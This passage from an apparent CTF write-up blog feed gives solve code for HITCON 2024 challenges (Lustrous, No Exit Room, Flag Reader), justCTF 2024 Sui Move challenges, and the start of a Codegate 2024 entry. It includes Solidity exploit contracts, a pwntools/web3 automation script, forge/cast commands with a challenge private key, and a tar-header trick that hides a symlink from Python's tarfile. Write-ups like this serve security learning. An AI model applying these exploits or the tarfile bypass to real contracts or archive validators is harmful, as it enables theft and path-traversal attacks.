&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1720959155417&quot; class=&quot;text&quot; data-ke-language=&quot;text&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;                        # Line 86
                        /* gem1: Gem = self.gems[self.get_gem_id(msg.sender, self.sequences[msg.sender] - 2)] */ 
                        [with,
                          _R,
                          /* self.gems[self.get_gem_id(msg.sender, self.sequences[msg.sender] - 2)] */ 
                          [sha3_64,
                            4 &amp;lt;self.gems&amp;gt;,
                            [mload,
                              /* self.get_gem_id(msg.sender, self.sequences[msg.sender] - 2) */ 
                              [seq,
                                [unique_symbol, self.get_gem_id(msg.sender, self.sequences[msg.sender] - 2)46],
                                [seq,
                                  [mstore, 64, caller &amp;lt;msg.sender&amp;gt;],
                                  [mstore,
                                    96,
                                    /* self.sequences[msg.sender] - 2 */ 
                                    [with,
                                      x,
                                      [sload,
                                        /* self.sequences[msg.sender] */ 
                                        [sha3_64,
                                          3 &amp;lt;self.sequences&amp;gt;,
                                          caller &amp;lt;msg.sender&amp;gt;]],
                                      /* uint32 bounds check */ 
                                      [with,
                                        val,
                                        [sub, x, 2 &amp;lt;2&amp;gt;],
                                        [seq, [assert, [iszero, [shr, 32, val]]], val]]]]],
                                [goto,
                                  internal_get_gem_id__address_uint32__runtime,
                                  448 &amp;lt;label2_return_buf&amp;gt;,
                                  [symbol, label2]],
                                [label, label2, var_list, pass],
                                448 &amp;lt;label2_return_buf&amp;gt;]]],
                          [seq,
                            [mstore, 288, [sload, _R]],
                            [mstore, 320, [sload, [add, _R, 1]]],
                            [mstore, 352, [sload, [add, _R, 2]]],
                            [mstore, 384, [sload, [add, _R, 3]]],
                            [mstore, 416, [sload, [add, _R, 4]]]]],&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;The final scenario is as follows: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1. Start with 1.5 Ether and create a gem, then win one battle (retry if failed). &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2. Use the 1 Ether reward to create another gem. &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3. Engage in a battle until the gem becomes inactive. &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;4. Continue battling until the gem's health is negative, then enter master.decide_continue_battle. &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;5. Use merge_gem to increase the health to near infinity. &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;6. Tie every rock-paper-scissors match, relying on the high health to win all stages.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;To get the optimal gem, I attempted to find which block numbers produce the best gems.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1720980229982&quot; class=&quot;py python&quot; data-ke-language=&quot;py&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from web3 import Web3

def get_random(num):
    block_number_bytes = num.to_bytes(32, byteorder='big')
    keccak256_hash = Web3().solidity_keccak(['bytes32'], [block_number_bytes])
    int256_value = int.from_bytes(keccak256_hash, byteorder='big', signed=True)
    return abs(int256_value)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;solve&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1720980264591&quot; class=&quot;sol zephir&quot; data-ke-language=&quot;sol&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Solve{

    address public vyper_address;

    constructor(address chall) payable {
        vyper_address = chall;
    }

    function register_master() public {
        (bool res, bytes memory ret) = vyper_address.call(abi.encodeWithSignature(&quot;register_master()&quot;));
        require(res);
    }

    function create_gem() public {
        (bool res, bytes memory ret) = vyper_address.call{value: 1 ether}(abi.encodeWithSignature(&quot;create_gem()&quot;));
        require(res);
    }

    function merge_gems() public {
        (bool res, bytes memory ret) = vyper_address.call(abi.encodeWithSignature(&quot;merge_gems()&quot;));
        require(res);
    }

    function pray_gem() public {
        (bool res, bytes memory ret) = vyper_address.call(abi.encodeWithSignature(&quot;pray_gem()&quot;));
        require(res);
    }

    function assign_gem(uint32 i) public {
        (bool res, bytes memory ret) = vyper_address.call(abi.encodeWithSignature(&quot;assign_gem(uint32)&quot;, i));
        require(res);
    }

    function continue_battle() public  {
        (bool res, bytes memory ret) = vyper_address.call{value: 1 ether}(abi.encodeWithSignature(&quot;continue_battle()&quot;));
        require(res);
    }


    receive() external payable { }


    uint public num = 0;
    uint public stage_num = 0;

    function get_actions() public view returns(uint8[] memory)  {
        

        if (num == 0) {
            uint8[] memory arr = new uint8[](100 * stage_num);
            // win
            for (uint i = 0; i &amp;lt; 100 * stage_num; i++) {
                arr[i] = 0;
            }
            return arr;

        }
        else if (num == 1) {
            uint8[] memory arr = new uint8[](100 * stage_num);
            // lose
            for (uint i = 0; i &amp;lt; 100 * stage_num; i++) {
                arr[i] = 1;
            }
            return arr;

        }

        else if (num == 2){
            assembly {
                mstore(0x40, 115792089237316195423570985008687907853269984665640564039457584007913129620544)
                mstore(0x60, 200)
                return(0x40, 0x40) 
            }
        }

        
        else if (num == 11){
            assembly {
                mstore(0x40, 115792089237316195423570985008687907853269984665640564039457584007913129620544)
                mstore(0x60, 100)
                return(0x40, 0x40) 
            }
        }

        else if (num == 22){
            assembly {
                mstore(0x40, 115792089237316195423570985008687907853269984665640564039457584007913129620544)
                mstore(0x60, 200)
                return(0x40, 0x40) 
            }
        }

        else if (num == 33){
            assembly {
                mstore(0x40, 115792089237316195423570985008687907853269984665640564039457584007913129620544)
                mstore(0x60, 300)
                return(0x40, 0x40) 
            }
        }

    }

    function bn_74() public {
        register_master();
        create_gem();
 
    }

    function bn_74_1() public {
        num = 0;
        stage_num = 1; 
        // stage();
    }

    function bn_74_2() public {
        num = 2;
        stage_num = 2; 
        // stage();  
    }

    uint public decide = 0;

    function bn_86() public {
        create_gem();
        assign_gem(1);
    }

    function bn_86_1() public {
        num = 1;
        stage_num = 1;
        // stage();
        //// inactive
    }

    function bn_86_2() public {
        assign_gem(0);
        num = 1;
        stage_num = 1;
        decide = 1;
        // stage();
    }

    function bn_86_3() public {
        num = 22;
        stage_num = 2;
        // stage();
    }

    function bn_86_4() public {
        num = 33;
        stage_num = 3;
        // stage();
    }

    function decide_continue_battle(uint256 round, int256 lunarian_health) public returns(bool) {
        if(decide == 0) return false;
        merge_gems();

        return false;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1720980287559&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
from web3 import Web3
import json
import time

import hashlib

import warnings
warnings.filterwarnings('ignore')

def pow(preimage_prefix, length):
    bits = int(length)

    for i in range(0, 1 &amp;lt;&amp;lt; 32):
        your_input = str(i).encode()
        preimage = preimage_prefix + your_input
        digest = hashlib.sha256(preimage).digest()
        digest_int = int.from_bytes(digest, &quot;big&quot;)
        if digest_int &amp;lt; (1 &amp;lt;&amp;lt; (256 - bits)):
            return your_input

def battle(uuid):
    r = remote(&quot;lustrous.chal.hitconctf.com&quot;, 31337)
    r.sendlineafter(&quot;action?&quot;, &quot;3&quot;)
    r.recvuntil(&quot;https://minaminao.github.io/tools/solve-pow.py) &quot;)
    preimage_prefix = r.recvuntil(&quot; &quot;)[:-1]
    length = r.recvline()[:-1]
    your_input = pow(preimage_prefix, length)
    r.sendlineafter(&quot;YOUR_INPUT = &quot;, your_input)
    r.sendlineafter(&quot;uuid please: &quot;, uuid)
    r.close()

def flag(uuid):
    r = remote(&quot;lustrous.chal.hitconctf.com&quot;, 31337)
    r.sendlineafter(&quot;action?&quot;, &quot;4&quot;)
    r.sendlineafter(&quot;uuid please: &quot;, uuid)
    r.interactive()




while True:


    r = remote(&quot;lustrous.chal.hitconctf.com&quot;, 31337)

    r.sendlineafter(&quot;action?&quot;, &quot;1&quot;)

    r.recvuntil(&quot;https://minaminao.github.io/tools/solve-pow.py) &quot;)
    preimage_prefix = r.recvuntil(&quot; &quot;)[:-1]
    length = r.recvline()[:-1]


    your_input = pow(preimage_prefix, length)

    r.sendlineafter(&quot;YOUR_INPUT = &quot;, your_input)


    r.recvuntil(&quot;uuid:               &quot;)
    uuid = r.recvline()[:-1].decode()
    r.recvuntil(&quot;rpc endpoint:       &quot;)
    rpc_url = r.recvline()[:-1].decode()
    r.recvuntil(&quot;private key:        &quot;)
    prikey = r.recvline()[:-1].decode()
    r.recvuntil(&quot;your address:       &quot;)
    my_addr = r.recvline()[:-1].decode()
    r.recvuntil(&quot;challenge contract: &quot;)
    challenge_addr = r.recvline()[:-1].decode()
    r.close()




    w3 = Web3(Web3.HTTPProvider(rpc_url))
    #Check Connection
    t=w3.is_connected()
    print(t)


    f = open(&quot;solve.abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
    f = open(&quot;solve.bin&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(challenge_addr).build_transaction(
        {
            &quot;chainId&quot;: w3.eth.chain_id,
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;from&quot;: my_addr,
            &quot;nonce&quot;: w3.eth.get_transaction_count(my_addr),
            &quot;value&quot;: 10**18,
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print(&quot;Deploying Contract!&quot;)
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print(&quot;Waiting for transaction to finish...&quot;)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)

    cont_addr = transaction_receipt.contractAddress
    contract = w3.eth.contract(address=cont_addr, abi=contract_abi, bytecode=contract_bytecode)

    time.sleep(10)

    while True:
        bn = w3.eth.get_block_number()
        print(bn)

        if bn == 73:
            func_call = contract.functions[&quot;bn_74&quot;]().build_transaction({
                &quot;from&quot;: my_addr,
                &quot;nonce&quot;: w3.eth.get_transaction_count(my_addr),
                &quot;gasPrice&quot;: w3.eth.gas_price,
                &quot;chainId&quot;: w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)

            func_call = contract.functions[&quot;bn_74_1&quot;]().build_transaction({
                &quot;from&quot;: my_addr,
                &quot;nonce&quot;: w3.eth.get_transaction_count(my_addr),
                &quot;gasPrice&quot;: w3.eth.gas_price,
                &quot;chainId&quot;: w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)
            battle(uuid)
            sleep(5.5)

            if w3.eth.get_balance(cont_addr) == 0:
                print(&quot;restart&quot;)
                break

            func_call = contract.functions[&quot;bn_74_2&quot;]().build_transaction({
                &quot;from&quot;: my_addr,
                &quot;nonce&quot;: w3.eth.get_transaction_count(my_addr),
                &quot;gasPrice&quot;: w3.eth.gas_price,
                &quot;chainId&quot;: w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)
            battle(uuid)
            sleep(5.5)

            continue


        if bn == 85:
            func_call = contract.functions[&quot;bn_86&quot;]().build_transaction({
                &quot;from&quot;: my_addr,
                &quot;nonce&quot;: w3.eth.get_transaction_count(my_addr),
                &quot;gasPrice&quot;: w3.eth.gas_price,
                &quot;chainId&quot;: w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)

            func_call = contract.functions[&quot;bn_86_1&quot;]().build_transaction({
                &quot;from&quot;: my_addr,
                &quot;nonce&quot;: w3.eth.get_transaction_count(my_addr),
                &quot;gasPrice&quot;: w3.eth.gas_price,
                &quot;chainId&quot;: w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)
            battle(uuid)
            sleep(5.5)

            func_call = contract.functions[&quot;bn_86_2&quot;]().build_transaction({
                &quot;from&quot;: my_addr,
                &quot;nonce&quot;: w3.eth.get_transaction_count(my_addr),
                &quot;gasPrice&quot;: w3.eth.gas_price,
                &quot;chainId&quot;: w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)
            battle(uuid)
            sleep(5.5)

            func_call = contract.functions[&quot;bn_86_3&quot;]().build_transaction({
                &quot;from&quot;: my_addr,
                &quot;nonce&quot;: w3.eth.get_transaction_count(my_addr),
                &quot;gasPrice&quot;: w3.eth.gas_price,
                &quot;chainId&quot;: w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)
            battle(uuid)
            sleep(5.5)

            func_call = contract.functions[&quot;bn_86_4&quot;]().build_transaction({
                &quot;from&quot;: my_addr,
                &quot;nonce&quot;: w3.eth.get_transaction_count(my_addr),
                &quot;gasPrice&quot;: w3.eth.gas_price,
                &quot;chainId&quot;: w3.eth.chain_id,
            })
            signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
            result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
            transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
            print(transaction_receipt)
            battle(uuid)
            sleep(5.5)

            sleep(1)
            flag(uuid)
            exit(0)

        sleep(1)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;no exit room&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;There is no access control in Beacon.sol&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;solve&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1720980400808&quot; class=&quot;sol reasonml&quot; data-ke-language=&quot;sol&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Solve {

    Setup public setup;
    Beacon public beacon;
    Channel public channel;
    Protocol public protocol;
    Room public alice;
    Room public bob;
    Room public david;


    constructor(address _setup) {
        setup = Setup(_setup);

        alice = setup.alice();
        bob = setup.bob();
        david = setup.david();
        beacon = setup.beacon();

        beacon.update(address(this));        
    }

    function solve() public {
        alice.request(address(bob), 10);
        alice.request(address(david), 11);
        bob.request(address(alice), 12);
        bob.request(address(david), 13);
        david.request(address(alice), 14);
        david.request(address(bob), 15);

        alice.selfRequest(16);
        bob.selfRequest(17);
        david.selfRequest(18);

        int256[] memory yvs = new int256[](0);
        alice.solveRoomPuzzle(yvs);
        bob.solveRoomPuzzle(yvs);
        david.solveRoomPuzzle(yvs);

        setup.commitPuzzle(116);

        require(setup.isSolved());
    }


    function evaluate(int256[] memory polynomial, int256 x) external pure returns (int256) {
        return x;
    }

    function evaluateLagrange(int256[] memory xValues, int256[] memory yValues, int256 x)
        external
        pure
        returns (int256 ret)
    {
        return x;
    }
}

// forge init --force
// forge create Solve --rpc-url http://no-exit-room.chal.hitconctf.com:8545/d6f01da9-d0f9-4cc8-ba53-48ce869b2434 --private-key 0x2c84dbc071d23774d1d7756226d3c0bc01a8a2c586f8979e1748ebd2999b5dd1 --constructor-args 0x48C41b1Db24b70465f12c5F8740063D7713002a9
// cast send 0x08e095BDEb4965F62Af6eaf5c0c9bf98B32F6CEE --rpc-url http://no-exit-room.chal.hitconctf.com:8545/d6f01da9-d0f9-4cc8-ba53-48ce869b2434 --private-key 0x2c84dbc071d23774d1d7756226d3c0bc01a8a2c586f8979e1748ebd2999b5dd1 &quot;solve()&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;flag reader&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1720980579321&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# tarfile.py

def nts(s, encoding, errors):
    &quot;&quot;&quot;Convert a null-terminated bytes object to a string.
    &quot;&quot;&quot;
    p = s.find(b&quot;\0&quot;)
    if p != -1:
        s = s[:p]
    return s.decode(encoding, errors)

def nti(s):
    &quot;&quot;&quot;Convert a number field to a python number.
    &quot;&quot;&quot;
    # There are two possible encodings for a number field, see
    # itn() below.
    if s[0] in (0o200, 0o377):
        n = 0
        for i in range(len(s) - 1):
            n &amp;lt;&amp;lt;= 8
            n += s[i + 1]
        if s[0] == 0o377:
            n = -(256 ** (len(s) - 1) - n)
    else:
        try:
            s = nts(s, &quot;ascii&quot;, &quot;strict&quot;)
            n = int(s.strip() or &quot;0&quot;, 8)
        except ValueError:
            raise InvalidHeaderError(&quot;invalid header&quot;)
    return n



    @classmethod
    def frombuf(cls, buf, encoding, errors):
# ...
		obj = cls()
        obj.name = nts(buf[0:100], encoding, errors)
        obj.mode = nti(buf[100:108])
        obj.uid = nti(buf[108:116])
        obj.gid = nti(buf[116:124])
        obj.size = nti(buf[124:136])
        obj.mtime = nti(buf[136:148])
        obj.chksum = chksum
        obj.type = buf[156:157]
        obj.linkname = nts(buf[157:257], encoding, errors)
        print(encoding, errors)
        obj.uname = nts(buf[265:297], encoding, errors)
        obj.gname = nts(buf[297:329], encoding, errors)
        obj.devmajor = nti(buf[329:337])
        obj.devminor = nti(buf[337:345])
        prefix = nts(buf[345:500], encoding, errors)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;We're adding a symbolic link file to my.tar. &lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Here's how to bypass tarfile so it can't read it, while allowing tar to extract it without issue:&lt;/span&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;In tarfile, if an InvalidHeaderError occurs during frombuf in &lt;b&gt;obj.devminor&lt;/b&gt;, it skips parsing the file.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #000000;&quot;&gt;tar will ignore the error and proceed with the extraction.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;This way, the symbolic link can be bypassed during the reading process but still extracted properly.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;solve&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1720980861514&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def calculate_checksum(header):
    checksum_field = header[148:156]
    header = header[:148] + b' ' * 8 + header[156:]
    checksum = sum(header)
    return checksum 

data = open(&quot;my.tar&quot;, &quot;rb&quot;).read()

offset = 0xa00

needed_data = data[offset:]

needed_data = needed_data[:337] + b&quot;\x60&quot; + b&quot;\x01&quot; * 5 + b&quot;\x80&quot; + b&quot;\x00&quot; + needed_data[345:]
needed_data = needed_data[:148] + bytes(&quot;%06o\0&quot; % calculate_checksum(needed_data), &quot;ascii&quot;) + b&quot;\x20&quot; + needed_data[156:]

print(bytes(&quot;%06o\0&quot; % calculate_checksum(needed_data), &quot;ascii&quot;))

written_data = data[:offset] + needed_data

open(&quot;go.tar&quot;, &quot;wb&quot;).write(written_data)&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/189</guid>
      <comments>https://gss1.tistory.com/entry/HITCON-CTF-2024-Quals-Lustrous-No-Exit-Room-Flag-Reader#entry189comment</comments>
      <pubDate>Mon, 15 Jul 2024 03:17:18 +0900</pubDate>
    </item>
    <item>
      <title>justctf2024 teaser</title>
      <link>https://gss1.tistory.com/entry/justctf2024-teaser</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;The&amp;nbsp;Otter&amp;nbsp;Scrolls&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1718600506983&quot; class=&quot;rs rust&quot; data-ke-language=&quot;rs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;module solve::solve {

    // [*] Import dependencies
    use challenge::theotterscrolls;

    public fun solve(
        spellbook: &amp;amp;mut theotterscrolls::Spellbook,
        _ctx: &amp;amp;mut TxContext
    ) {
        let v: vector&amp;lt;u64&amp;gt; = vector[1, 0, 3, 3, 3];
        theotterscrolls::cast_spell(v, spellbook);
    }

}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Dark&amp;nbsp;BrOTTERhood&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1718600531992&quot; class=&quot;rs rust&quot; data-ke-language=&quot;rs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;module solve::solve {

    // [*] Import dependencies
    use challenge::Otter::{Self, OTTER};
    use sui::random::Random;

    #[allow(lint(public_random))]
    public fun solve(
        vault: &amp;amp;mut Otter::Vault&amp;lt;OTTER&amp;gt;,
        questboard: &amp;amp;mut Otter::QuestBoard,
        player: &amp;amp;mut Otter::Player,
        r: &amp;amp;Random,
        ctx: &amp;amp;mut TxContext,
    ) {
        Otter::buy_sword(vault, player, ctx);
        Otter::find_a_monster(questboard, r, ctx);
        Otter::fight_monster(questboard, player, 0);
        Otter::return_home(questboard, 0);


        let mut i = 0;

        while (i &amp;lt;= 100) {
            Otter::find_a_monster(questboard, r, ctx);
            Otter::get_the_reward(vault, questboard, player, 0, ctx);
            i = i + 1;
        };




        let flag = Otter::buy_flag(vault, player, ctx);
        Otter::prove(questboard, flag);

    }

}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;World&amp;nbsp;of&amp;nbsp;Ottercraft&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1718600558601&quot; class=&quot;rs rust&quot; data-ke-language=&quot;rs&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;module solve::solve {

    // [*] Import dependencies
    use challenge::Otter::{Self, OTTER};

    public fun solve(
        board: &amp;amp;mut Otter::QuestBoard,
        vault: &amp;amp;mut Otter::Vault&amp;lt;OTTER&amp;gt;,
        player: &amp;amp;mut Otter::Player,
        ctx: &amp;amp;mut TxContext
    ) {
        let quest_id = 0;


        let mut ticket = Otter::enter_tavern(player);
        Otter::buy_sword(player, &amp;amp;mut ticket);
        Otter::checkout(ticket, player, ctx, vault, board);
        
        let mut i = 0 ;

        while(i &amp;lt; 25) {
            Otter::find_a_monster(board, player);
            i = i + 1;
        };
        
        Otter::bring_it_on(board, player, quest_id);
        Otter::return_home(board, player);
        Otter::get_the_reward(vault, board, player, ctx);

        i = 0;
        while (i &amp;lt; 24) {
            let mut ticket = Otter::enter_tavern(player);
            Otter::buy_shield(player, &amp;amp;mut ticket);
            Otter::get_the_reward(vault, board, player, ctx);
            Otter::checkout(ticket, player, ctx, vault, board);
            i = i + 1;
        };
        let mut ticket = Otter::enter_tavern(player);
        Otter::buy_flag(&amp;amp;mut ticket, player);
        Otter::checkout(ticket, player, ctx, vault, board);


    }

}&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/188</guid>
      <comments>https://gss1.tistory.com/entry/justctf2024-teaser#entry188comment</comments>
      <pubDate>Mon, 17 Jun 2024 14:04:11 +0900</pubDate>
    </item>
    <item>
      <title>codegate 2024 quals</title>
      <link>https://gss1.tistory.com/entry/codegate-2024-quals</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I played codegate 2024 quals with thehackerscrew.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Staker&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;the root cause is burnfrom.&lt;/p&gt;
&lt;pre id=&quot;code_1717344954077&quot; class=&quot;sol reasonml&quot; data-ke-language=&quot;sol&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract Solve {
    Setup public setup;
    StakingManager public stakingManager;
    Token public token;
    LpToken public lpToken;
